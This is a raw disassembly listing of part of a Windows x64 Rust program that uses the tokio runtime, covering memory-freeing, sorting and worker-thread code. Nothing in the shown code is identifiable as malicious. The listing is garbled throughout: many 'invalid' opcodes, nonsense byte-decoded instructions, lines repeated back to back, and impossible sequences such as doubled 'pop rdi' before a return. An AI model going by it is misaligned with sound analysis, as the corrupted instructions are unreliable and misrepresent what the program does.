mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x58], rdi
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0xc0], rax
mov r14, qword [rsp + 0x88]
lea rcx, [rsp + 0x40]
call fcn.1400ee220
mov rdx, qword [rsp + 0x28]
cmp rdx, 0x15
jae 0x1400ed7cc
cmp rdx, 1
jbe 0x1400ede4e
mov r8d, 1
mov rcx, r14
call fcn.1400ee330
mov rax, qword [rsp + 0x28]
shl rax, 5
add rax, r14
mov r15, rax
jmp 0x1400ede64
mov rax, rdx
shl rax, 4
movabs rdx, 0x7fffffffffffffe0
and rdx, rax
movzx eax, byte [0x140182310]
xor ecx, ecx
call fcn.1400dfbe0
invalid
dec dword [rax - 0x7b]
ror byte [rdi], 0x84
add ecx, dword [rdx]
add byte [rax], al
invalid
mov rbx, rax
movzx eax, byte [0x140182310]
mov edx, 0x100
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400ee206
mov rbp, rax
lea rax, [r14 + 0x40]
mov qword [rsp + 0xc8], rax
lea rax, [r14 + 0x10]
mov qword [rsp + 0x138], rax
lea rax, [r14 - 0x10]
mov qword [rsp + 0x130], rax
lea rax, [r14 - 0x20]
mov qword [rsp + 0x140], rax
mov eax, 0x10
mov qword [rsp + 0xd0], rax
xor r13d, r13d
xor r12d, r12d
mov rdx, qword [rsp + 0x28]
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x38], rbx
jmp 0x1400ed887
mov r12d, 1
mov r13, qword [rsp + 0xd8]
cmp r13, rdx
jae 0x1400ede26
mov r9, rdx
sub r9, r13
mov rax, r13
shl rax, 5
lea rcx, [r14 + rax]
cmp r9, 2
jae 0x1400ed920
mov r8, r9
lea r10, [r8 + r13]
mov rsi, r10
sub rsi, r13
jb 0x1400ee156
cmp r10, rdx
ja 0x1400ee156
jae 0x1400eda00
cmp r8, 0xa
jae 0x1400eda00
lea rsi, [r13 + 0xa]
cmp rsi, rdx
cmovae rsi, rdx
cmp r13, 0xfffffffffffffff6
jae 0x1400ee16e
cmp r8, 1
adc r8, 0
mov qword [rsp + 0xd8], rsi
sub rsi, r13
mov rdx, rsi
call fcn.1400ee330
mov rdx, qword [rsp + 0x28]
cmp r12, qword [rsp + 0xd0]
je 0x1400eda12
jmp 0x1400eda6b
mov r10, qword [rcx + 0x20]
cmp r10, qword [rcx]
jae 0x1400eddd0
mov esi, 2
cmp r9, 2
je 0x1400ed96f
mov rdx, qword [rsp + 0xc8]
lea r8, [rdx + rax]
nop word cs:[rax + rax]
mov r11, r10
mov r10, qword [r8]
cmp r10, r11
jae 0x1400ed96a
inc rsi
add r8, 0x20
cmp r9, rsi
jne 0x1400ed950
mov rsi, r9
mov rdx, qword [rsp + 0x28]
mov r9, rsi
add r9, r13
jb 0x1400ee19b
mov r10, r9
cmp r9, rdx
ja 0x1400ee18c
mov r8d, 1
cmp rsi, 2
jb 0x1400ed8a9
mov r8, rsi
shr r8, 1
add rax, qword [rsp + 0x138]
mov r9, r10
shl r9, 5
add r9, qword [rsp + 0x130]
nop word cs:[rax + rax]
movups xmm0, xmmword [rax - 0x10]
movups xmm1, xmmword [r9 - 0x10]
movups xmmword [rax - 0x10], xmm1
movups xmmword [r9 - 0x10], xmm0
movdqu xmm0, xmmword [rax]
movups xmm1, xmmword [r9]
movups xmmword [rax], xmm1
movdqu xmmword [r9], xmm0
add rax, 0x20
add r9, 0xffffffffffffffe0
dec r8
jne 0x1400ed9c0
mov r8, rsi
jmp 0x1400ed8a9
mov qword [rsp + 0xd8], r10
cmp r12, qword [rsp + 0xd0]
jne 0x1400eda6b
mov rdx, r12
shl rdx, 5
movzx eax, byte [0x140182310]
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400ee180
mov rdi, rax
lea rax, [r12 + r12]
mov qword [rsp + 0xd0], rax
mov r8, r12
shl r8, 4
mov rcx, rdi
mov rdx, rbp
call fcn.140106250
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbp
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbp, rdi
mov rdx, qword [rsp + 0x28]
mov rax, r12
shl rax, 4
mov qword [rbp + rax], rsi
mov qword [rbp + rax + 8], r13
inc r12
mov rax, r12
cmp r12, 2
mov qword [rsp + 0x148], rbp
jae 0x1400edb1c
jmp 0x1400ed876
mov rbx, qword [rsp + 0x38]
mov rdx, rbx
mov rbp, qword [rsp + 0x148]
mov rdi, qword [rsp + 0x150]
add rdi, rbp
add r15, rbp
sub r12, rdx
mov rcx, rsi
mov r8, r12
call fcn.140106250
mov rax, qword [rsp + 0x158]
add rax, r13
mov qword [r15], rax
mov rax, qword [rsp + 0x160]
mov qword [r15 + 8], rax
lea rdx, [rdi + 0x10]
mov rax, qword [rsp + 0x170]
not rax
mov r8, qword [rsp + 0x178]
add r8, rax
shl r8, 4
mov rcx, rdi
call fcn.140106250
mov rax, qword [rsp + 0x168]
cmp rax, 1
mov rdx, qword [rsp + 0x28]
jbe 0x1400ed870
mov r12, rax
lea r11, [rax - 1]
mov rcx, r11
shl rcx, 4
mov rax, qword [rbp + rcx]
mov rcx, qword [rbp + rcx + 8]
add rcx, rax
cmp rcx, rdx
je 0x1400edb90
mov r10, r12
shl r10, 4
mov r8, qword [r10 + rbp - 0x20]
cmp r8, rax
jbe 0x1400edb90
cmp r12, 2
je 0x1400ede10
lea rsi, [r12 - 3]
mov rcx, rsi
shl rcx, 4
mov rcx, qword [rbp + rcx]
lea r9, [r8 + rax]
cmp rcx, r9
jbe 0x1400edba7
cmp r12, 3
jbe 0x1400ede1b
add r8, rcx
cmp qword [r10 + rbp - 0x40], r8
jbe 0x1400edba7
jmp 0x1400ed876
cmp r12, 2
je 0x1400edbac
lea rsi, [r12 - 3]
mov rcx, rsi
shl rcx, 4
mov rcx, qword [rbp + rcx]
cmp rcx, rax
jb 0x1400edbb1
lea rsi, [r12 - 2]
cmp r12, rsi
jbe 0x1400ee06a
lea r15, [rsi + 1]
cmp r12, r15
jbe 0x1400ee031
mov r8, rsi
shl r8, 4
mov rcx, qword [rbp + r8 + 8]
shl r15, 4
mov rax, qword [rbp + r15]
mov rdi, qword [rbp + r15 + 8]
add rdi, rax
mov rbx, rdi
sub rbx, rcx
jb 0x1400ee0a3
mov qword [rsp + 0x170], rsi
mov qword [rsp + 0x178], r12
cmp rdi, rdx
ja 0x1400ee0b2
mov qword [rsp + 0x158], rax
mov qword [rsp + 0x168], r11
mov qword [rsp + 0x150], r8
mov r13, qword [rbp + r8]
mov qword [rsp + 0x160], rcx
mov rsi, rcx
shl rsi, 5
add rsi, r14
mov r12, r13
shl r12, 5
lea rbp, [rsi + r12]
shl rdi, 5
mov r14, rbx
sub r14, r13
cmp r14, r13
jae 0x1400edd10
mov r12, r14
shl r12, 5
mov rbx, qword [rsp + 0x38]
mov rcx, rbx
mov rdx, rbp
mov r8, r12
call fcn.140106250
add r12, rbx
test r13, r13
jle 0x1400eddb0
test r14, r14
jle 0x1400eddb0
add rdi, qword [rsp + 0x140]
mov r14, qword [rsp + 0x30]
nop word cs:[rax + rax]
mov rax, rbp
mov rcx, r12
mov rdx, qword [r12 - 0x20]
mov r8, qword [rbp - 0x20]
cmp rdx, r8
mov ebp, 0
sbb rbp, rbp
cmp rdx, r8
mov r12d, 0
adc r12, 0xffffffffffffffff
shl rbp, 5
add rbp, rax
shl r12, 5
add r12, rcx
cmp rdx, r8
mov rax, r12
cmovb rax, rbp
movdqu xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdi + 0x10], xmm1
movdqu xmmword [rdi], xmm0
cmp rbp, rsi
jbe 0x1400edcfd
add rdi, 0xffffffffffffffe0
cmp r12, rbx
ja 0x1400edca0
mov rsi, rbp
jmp 0x1400eda9e
mov r14, qword [rsp + 0x38]
mov rcx, r14
mov rdx, rsi
mov r8, r12
call fcn.140106250
add r12, r14
test r13, r13
jle 0x1400eddb5
cmp rbx, r13
mov r14, qword [rsp + 0x30]
jle 0x1400eda99
add rdi, r14
mov rbx, qword [rsp + 0x38]
mov rdx, rbx
nop dword [rax + rax]
mov r8, rdx
mov rcx, qword [rbp]
xor edx, edx
xor eax, eax
cmp rcx, qword [r8]
setae dl
setb cl
mov r9, r8
cmovb r9, rbp
movdqu xmm0, xmmword [r9]
movups xmm1, xmmword [r9 + 0x10]
movups xmmword [rsi + 0x10], xmm1
movdqu xmmword [rsi], xmm0
add rsi, 0x20
shl edx, 5
add rdx, r8
cmp rdx, r12
jae 0x1400edaa1
mov al, cl
shl eax, 5
add rbp, rax
cmp rbp, rdi
jb 0x1400edd50
jmp 0x1400edaa1
mov rsi, rbp
jmp 0x1400eddba
mov rbx, qword [rsp + 0x38]
mov rdx, rbx
mov r14, qword [rsp + 0x30]
jmp 0x1400edaa1
mov r8d, 2
cmp r9, 2
je 0x1400ed8a5
add rax, qword [rsp + 0xc8]
nop dword [rax + rax]
mov r11, r10
mov r10, qword [rax]
cmp r10, r11
jb 0x1400ed8a5
inc r8
add rax, 0x20
cmp r9, r8
jne 0x1400eddf0
jmp 0x1400ed8a2
mov r12d, 2
jmp 0x1400ed876
mov r12d, 3
jmp 0x1400ed876
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbp
mov rsi, qword [sym.imp.kernel32.dll_HeapFree]
call rsi
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call rsi
mov rdx, qword [rsp + 0x28]
mov r15, rdx
shl r15, 5
add r15, r14
mov rsi, r14
test rdx, rdx
je 0x1400edef4
lea r12, [rsp + 0x48]
lea rdi, [rsp + 0x40]
mov r13, qword [sym.imp.kernel32.dll_HeapFree]
mov rsi, r14
jmp 0x1400ede9f
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call r13
add rsi, 0x20
cmp rsi, r15
mov r14, rbp
je 0x1400edf53
mov rax, qword [rsi + 8]
test rax, rax
je 0x1400edef0
mov rbp, r14
movdqu xmm0, xmmword [rsi + 0x10]
movdqa xmmword [rsp + 0x80], xmm0
mov qword [rsp + 0x40], rax
movdqu xmmword [r12], xmm0
mov rcx, rdi
call fcn.1400e66b0
test rax, rax
je 0x1400ede8f
mov rbx, rax
mov r14, rdx
mov rcx, rax
call qword [rdx]
cmp qword [r14 + 8], 0
je 0x1400ede8f
cmp qword [r14 + 0x10], 0x11
jb 0x1400ede80
mov rbx, qword [rbx - 8]
jmp 0x1400ede80
add rsi, 0x20
sub r15, rsi
je 0x1400edf53
shr r15, 5
add rsi, 0x10
mov rdi, qword [sym.imp.kernel32.dll_CloseHandle]
jmp 0x1400edf19
add rsi, 0x20
dec r15
je 0x1400edf53
mov rcx, qword [rsi + 8]
call rdi
mov rax, qword [rsi - 8]
lock dec qword [rax]
jne 0x1400edf40
mov rcx, qword [rsi - 8]
call fcn.1400052e0
mov rax, qword [rsi]
lock dec qword [rax]
jne 0x1400edf10
jmp 0x1400edf49
mov rax, qword [rsi]
lock dec qword [rax]
jne 0x1400edf10
mov rcx, rsi
call fcn.140068b70
jmp 0x1400edf10
cmp qword [rsp + 0xc0], 0
je 0x1400edf70
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x1c8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov r11d, 0x10
jmp 0x1400ed468
lea rax, str.Index_out_of_bounds
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x50], 8
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x58], xmm0
lea rdx, [0x14014b7c0]
lea rcx, [rsp + 0x40]
call fcn.140108280
lea rax, str.Index_out_of_bounds
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x50], 8
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x58], xmm0
lea rdx, [0x14014b7a8]
lea rcx, [rsp + 0x40]
call fcn.140108280
lea r8, [0x14014b7d8]
mov rdx, rdi
call fcn.140108530
lea r8, [0x14014b7d8]
mov rcx, rdi
call fcn.140108340
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimepark.rsinconsistent_park_state__actual_
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14014b8e0]
lea r8, [rsp + 0x40]
mov edx, 0x2b
call fcn.140108600
mov qword [rsp + 0x120], rax
lea rax, [rsp + 0x120]
mov qword [rsp + 0xe0], rax
lea rax, [fcn.140012f00]
mov qword [rsp + 0xe8], rax
lea rax, [0x14014c258]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimepark.rsinconsistent_park_state__actual_
lea rcx, [rsp + 0x40]
call fcn.140108280
lea rcx, str.assertion_failed:_end___start__end___len
lea r8, [0x14014b868]
mov edx, 0x2c
call fcn.140108350
lea r8, [0x14014b880]
mov rcx, r13
mov rdx, rsi
call fcn.140108530
lea rcx, [0x14014b820]
call fcn.140108690
lea r8, [0x14014b790]
mov rcx, r10
call fcn.140108340
lea r8, [0x14014b790]
mov rcx, r13
mov rdx, r9
call fcn.140108530
ud2
call fcn.140010b00
mov ecx, 8
mov rdx, rsi
call fcn.140107fc0
lea rcx, [0x14014b7f0]
call fcn.140108690
lea rcx, [0x14014b808]
call fcn.140108690
int3
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0xd0], 0
jne 0x1400efe1e
mov qword [rsp + 0x68], r14
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov qword [rax + 0xd0], 0xffffffffffffffff
lock inc qword [r12]
jle 0x1400efbf8
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rdx, qword [rcx + rax*8]
mov rax, qword [rdx + 0xd8]
mov rcx, qword [rdx + 0xe0]
mov qword [rdx + 0xd8], 1
mov qword [rdx + 0xe0], r12
mov qword [rdx + 0xd0], 0
mov rdx, qword [rdx + 0xe8]
cmp rdx, 0xffffffffffffffff
je 0x1400efe2a
inc rdx
mov r8d, dword [0x140182314]
mov r9, qword gs:[0x58]
mov r8, qword [r9 + r8*8]
mov qword [r8 + 0xe8], rdx
mov qword [rsp + 0x1e0], rax
test byte [rax + riz*8], ah
add dword [rax], eax
add byte [rax - 0x77], cl
mov word [rax + rbp*8], fs
add dword [rax], eax
add byte [rax - 0x77], cl
xchg esp, eax
and al, 0xf0
add dword [rax], eax
add byte [rbp - 0x7b], cl
in eax, dx
test byte [rax + riz*8], ah
add dword [rax], eax
add byte [rax - 0x77], cl
mov word [rax + rbp*8], fs
add dword [rax], eax
add byte [rax - 0x77], cl
xchg esp, eax
and al, 0xf0
add dword [rax], eax
add byte [rbp - 0x7b], cl
in eax, dx
je 0x1400efa54
shl r13, 3
xor ebp, ebp
xorps xmm6, xmm6
jmp 0x1400ef80d
add rbp, 8
cmp r13, rbp
je 0x1400efa54
mov rax, qword [rsp + 0x28]
mov r15, qword [rax + rbp]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400ef86a
test eax, eax
jne 0x1400efdb1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [rsi + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0xd0]
movabs rcx, 0x7ffffffffffffffe
cmp rax, rcx
ja 0x1400efcf1
add al, 0
add byte [rax - 0x73], cl
add qword [rbx + 0x92a7315], rcx
add byte [rbp + 0x4c], ah
mov eax, dword [0x58]
lea rcx, [rax + 1]
mov edx, dword [0x140182314]
mov r8, qword gs:[0x58]
mov rdx, qword [r8 + rdx*8]
mov qword [rdx + 0xd0], rcx
mov rdi, qword [rdx + 0xd8]
fadd dword [rax]
add byte [rax], al
cmp rdi, 2
je 0x1400efc36
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rbx, qword [rax + 0xe0]
mov ecx, 1
lock xadd qword [rbx], rcx
test rdi, rdi
test edi, edi
test edi, edi
je 0x1400ef900
mov eax, 1
test rcx, rcx
jns 0x1400ef90b
jmp 0x1400efbf8
test rcx, rcx
js 0x1400efbf8
xor eax, eax
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
dec qword [rcx + 0xd0]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rbx
mov r14d, 1
lock xadd qword [0x140182050], r14
movzx eax, byte [0x140182310]
mov edx, 0x100
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400efc6d
mov rcx, rax
and rcx, 0xffffffffffffff80
lea rsi, [rcx + 0x80]
lea rdx, [rbx + 0x1c8]
lea r8, [rbx + 0x168]
test rdi, rdi
mov qword [rcx + 0x78], rax
cmovne r8, rdx
mov qword [rcx + 0x80], 0xcc
mov qword [rcx + 0x88], 0
lea rax, [0x14014d8b0]
mov qword [rcx + 0x90], rax
mov qword [rcx + 0x98], 0
mov qword [rcx + 0xa0], r14
mov qword [rcx + 0xa8], 2
mov qword [rcx + 0xb0], r15
movups xmmword [rcx + 0xc8], xmm6
mov qword [rcx + 0xd8], 0
mov rcx, qword [r8]
mov rdx, rsi
lea r8, [rsp + 0x38]
call fcn.1400e5010
test rax, rax
je 0x1400ef9f9
test rdx, rdx
jne 0x1400efc7c
lock dec qword [rbx]
sete al
test rdi, rdi
je 0x1400efa20
test al, al
je 0x1400efa30
lea rcx, [rsp + 0x40]
call fcn.1400e43e0
jmp 0x1400efa30
add byte [rax], al
add byte [rax + rax*8 - 0x72b7f38c], al
and al, 0x40
test al, al
je 0x1400efa30
lea rcx, [rsp + 0x40]
call fcn.1400e4320
nop
mov eax, 0xcc
mov ecx, 0x84
lock cmpxchg qword [rsi], rcx
cmpxchg dword [rsi], ecx
je 0x1400ef800
mov rax, qword [rsi + 0x10]
mov rcx, rsi
call qword [rax + 0x20]
jmp 0x1400ef800
cmp qword [rsp + 0x68], 0
je 0x1400efa70
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, qword [rsp + 0x28]
call qword [sym.imp.kernel32.dll_HeapFree]
lock sub byte [rdx], al
invalid
lock sub byte [rdx], al
add byte [rax - 0x75], cl
and al, 0x78
mov rax, qword [rsp + 0x78]
mov qword [rax], 1
mov qword [rax + 0x30], 1
mov qword [rax + 0x38], r12
mov rcx, qword [rsp + 0x70]
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
xor byte [rcx], al
add byte [rax], al
add byte [rcx + rcx*4 + 0x60], cl
cmp byte [rax - 0x75], cl
and al, 0x70
mov qword [rax + 0x40], rcx
mov rcx, qword [rsp + 0xa0]
mov qword [rax + 0x48], rcx
lea rcx, [rsp + 0x1e0]
call fcn.1400e6760
mov rax, qword [rsp + 0x1e0]
cmp rax, 2
je 0x1400efb1b
lea rcx, [rsp + 0x1e8]
test rax, rax
je 0x1400efb08
mov rax, qword [rsp + 0x1e8]
lock dec qword [rax]
jne 0x1400efb1b
call fcn.1400e43e0
jmp 0x1400efb1b
mov rax, qword [rsp + 0x1e8]
lock dec qword [rax]
jne 0x1400efb1b
call fcn.1400e4320
movaps xmm6, xmmword [rsp + 0x380]
add rsp, 0x398
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
pop rdi
ret
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xfffeaa37
mov qword [rsp + 0xe8], rax
lea rax, [0x14014be10]
mov qword [rsp + 0x290], rax
mov qword [rsp + 0x298], 2
mov qword [rsp + 0x2b0], 0
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x2a0], rax
mov qword [rsp + 0x2a8], 2
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_srcloom_stdmod.rs
lea rcx, [rsp + 0x290]
add al, byte [rax]
add al, ch
invalid
xchg byte [rcx], al
invalid
add al, byte [rax]
add al, ch
mov byte [rsi + 0xb0f0001], al
ud2
mov ecx, 8
mov edx, 0x28
call fcn.140107fe0
mov ecx, 8
mov edx, 0x800
call fcn.140107fc0
mov ecx, 8
mov edx, 0x30
call fcn.140107fe0
mov ecx, 8
mov edx, 0x50
call fcn.140107fe0
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov qword [rcx + 0xd0], rax
xor eax, eax
mov byte [rsp + 0xd0], al
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadworker.rs
lea rcx, [rsp + 0xd0]
call fcn.14010da80
mov ecx, 0x80
mov edx, 0x80
call fcn.140107fe0
mov qword [rsp + 0x88], rdx
lea rax, [rsp + 0x88]
mov qword [rsp + 0x50], rax
lea rax, [fcn.1400da400]
mov qword [rsp + 0x58], rax
lea rax, str.OS_cant_spawn_worker_thread:
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd8], 1
mov qword [rsp + 0xf0], 0
lea rax, [rsp + 0x50]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], 1
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadworker.rs
lea rcx, [rsp + 0xd0]
call fcn.140108280
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontextcurrent.rs
call fcn.1401085a0
mov al, 1
mov byte [rsp + 0x1b0], al
lea rax, str.TOKIO_WORKER_THREADS___cannot_be_set_to_0
mov qword [rsp + 0x290], rax
lea rax, [0x14004e490]
mov qword [rsp + 0x298], rax
lea rax, [rsp + 0x1b0]
mov qword [rsp + 0x2a0], rax
lea rax, [0x140013db0]
mov qword [rsp + 0x2a8], rax
lea rax, [rsp + 0x1e0]
mov qword [rsp + 0x2b0], rax
lea rax, [0x140006e70]
mov qword [rsp + 0x2b8], rax
lea rax, [0x14014be70]
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd8], 3
mov qword [rsp + 0xf0], 0
mov qword [rsp + 0xe0], rdi
mov qword [rsp + 0xe8], 3
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_srcloom_stdmod.rs
lea rcx, [rsp + 0xd0]
call fcn.140108280
mov al, 1
mov byte [rsp + 0xd0], al
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadworker.rs
lea rcx, [rsp + 0xd0]
call fcn.14010da80
xor eax, eax
cmp ebx, 0xa
adc al, 1
jmp 0x1400efcff
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontextcurrent.rs
call fcn.140108540
lea rax, str.reached_max__enter__depth
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd8], 1
mov qword [rsp + 0xe0], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0xe8], xmm0
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontextcurrent.rs
lea rcx, [rsp + 0xd0]
call fcn.140108280
mov ecx, 8
mov edx, 0x60
call fcn.140107fc0
mov ecx, 8
mov edx, 0x180
call fcn.140107fe0
mov ecx, 8
mov edx, 0x200
call fcn.140107fc0
mov ecx, 8
mov edx, 0x70
call fcn.140107fe0
call fcn.1401118f0
lea rax, str.TOKIO_WORKER_THREADS___cannot_be_set_to_0
mov qword [rsp + 0xd0], rax
lea rax, [0x14004e490]
mov qword [rsp + 0xd8], rax
lea rax, [0x14014bd38]
mov qword [rsp + 0x290], rax
mov qword [rsp + 0x298], 2
mov qword [rsp + 0x2b0], 0
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x2a0], rax
mov qword [rsp + 0x2a8], 1
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_srcloom_stdmod.rs
lea rcx, [rsp + 0x290]
call fcn.140108280
lea rcx, str.assertion_failed:_sharded_size.is_power_of_two__C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_srcutil_sharded_list.rs
lea r8, [0x14014ec68]
mov edx, 0x30
call fcn.140108350
mov qword [rsp + 0x1e0], rcx
mov qword [rsp + 0x1e8], r8
mov qword [rsp + 0x1f0], r9
xor eax, eax
jmp 0x1400efcff
movups xmmword [rsi + 0x78], xmm0
mov qword [rsi], r14
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], r12
mov qword [rsi + 0x18], 0
mov rax, qword [rsp + 0x28]
mov qword [rsi + 0x20], rax
mov qword [rsi + 0x28], rbp
mov qword [rsi + 0x30], rbx
mov byte [rsi + 0x38], 0
mov qword [rsi + 0x40], rbx
mov qword [rsi + 0x48], rdi
xorps xmm0, xmm0
movups xmmword [rsi + 0x50], xmm0
adc dword [rsi + 0x50], eax
adc dword [rsi + 0x50], eax
mov byte [rsi + 0x60], 0
mov qword [rsi + 0x68], 0x10
mov qword [rsi + 0x70], r13
mov byte [rsi + 0x98], 0
mov qword [rsi + 0xa0], 6
xchg byte [rax + 0x6000000], ah
add byte [rax], al
add byte [rcx + rcx*4 - 0x42], cl
test al, 0
add byte [rax], al
xchg byte [rax + 0x6000000], ah
add byte [rax], al
add byte [rcx + rcx*4 - 0x42], cl
test al, 0
add byte [rax], al
mov qword [rsi + 0xb0], 6
mov qword [rsi + 0xb8], 0
movaps xmm0, xmmword [rsp + 0x80]
movups xmmword [rsi + 0xc0], xmm0
mov qword [rsi + 0xd0], 0
mov byte [rsi + 0xd8], 0
mov qword [rsi + 0xe0], r8
mov dword [rsi + 0xe8], edx
invalid
add byte [rax], al
invalid
call 0x1880f0455
add esp, 0x98
add rsp, 0x98
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
ud2
jnp 0x1400f0479
add byte [rcx + 8], bh
mov ecx, 8
mov edx, 0x70
call fcn.140107fe0
mov ecx, 8
mov edx, 0x80
add al, ch
sub dword [rbx + 1], edi
invalid
add al, ch
sub dword [rbx + 1], edi
add byte [rcx + 8], bh
mov ecx, 8
mov edx, 0x28
call fcn.140107fe0
mov ecx, 8
mov edx, 0x1860
sbb byte [rax], al
add al, ch
or edi, dword [rbx + 1]
invalid
sbb byte [rax], al
add al, ch
or edi, dword [rbx + 1]
add al, ch
invalid
call fcn.140010b00
int3
push rdi
push rbp
push rbx
sub rsp, 0x68
push 0x247c290f
push rax
push 0x247c290f
push rax
movaps xmmword [rsp + 0x40], xmm6
mov rbp, rdx
mov r14, rcx
movzx eax, byte [0x140182310]
mov edx, 0x40
add byte [rcx], dh
leave
add byte [rcx], dh
leave
call fcn.1400dfbe0
test rax, rax
je 0x1400f070e
mov rdi, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov dword [rax + 8], 1
mov dword [rax + 8], 1
mov qword [rax + 0x30], 0
mov byte [rax + 0x38], 0
add al, dh
inc qword [rax]
add al, dh
inc qword [rax]
jle 0x1400f05fb
add byte [rdi], cl
mov dh, 5
in eax, 0x1d
or dword [rax], eax
movzx eax, byte [0x140182310]
xor esi, esi
mov edx, 0x18
add byte [rax], al
add byte [rax], al
add byte [rcx], dh
leave
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400f071d
mov rbx, rax
mov qword [rax], 1
add byte [rax], al
invalid
mov qword [rax + 8], 1
mov qword [rax + 0x10], rdi
mov eax, dword [r14 + 0x30]
mov r15d, 0xa
cmp eax, 0x3b9aca00
invalid
invalid
je 0x1400f056f
invalid
invalid
invalid
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
add al, 0xc1
add al, 0xc1
cmp qword [rax + 0xa0], 0
jne 0x1400f0595
add byte [rax], al
add byte [rbp + 5], dh
call fcn.140002270
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
movups xmm6, xmmword [rax + 0xa8]
inc qword [rax + 0xa8]
mov rsi, qword [r14 + 0x38]
mov r13, qword [r14 + 0x40]
lock inc qword [rsi]
inc qword [rsi]
inc qword [rsi]
jle 0x1400f05fb
movups xmm7, xmmword [r14 + 0x10]
mov r12, qword [r14 + 0x58]
test r12, r12
mov qword [rsp + 0x38], rbp
je 0x1400f05fd
cmp byte [rsi + riz + 0x49], dh
mov eax, dword [rsi + 0x60]
mov rax, qword [r14 + 0x60]
mov qword [rsp + 0x30], rax
lock inc qword [r12]
jle 0x1400f05fb
mov rbp, qword [r14 + 0x68]
test rbp, rbp
test ebp, ebp
test ebp, ebp
je 0x1400f0606
mov r14, qword [r14 + 0x70]
lock inc qword [rbp]
jg 0x1400f0606
ud2
mov rbp, qword [r14 + 0x68]
test rbp, rbp
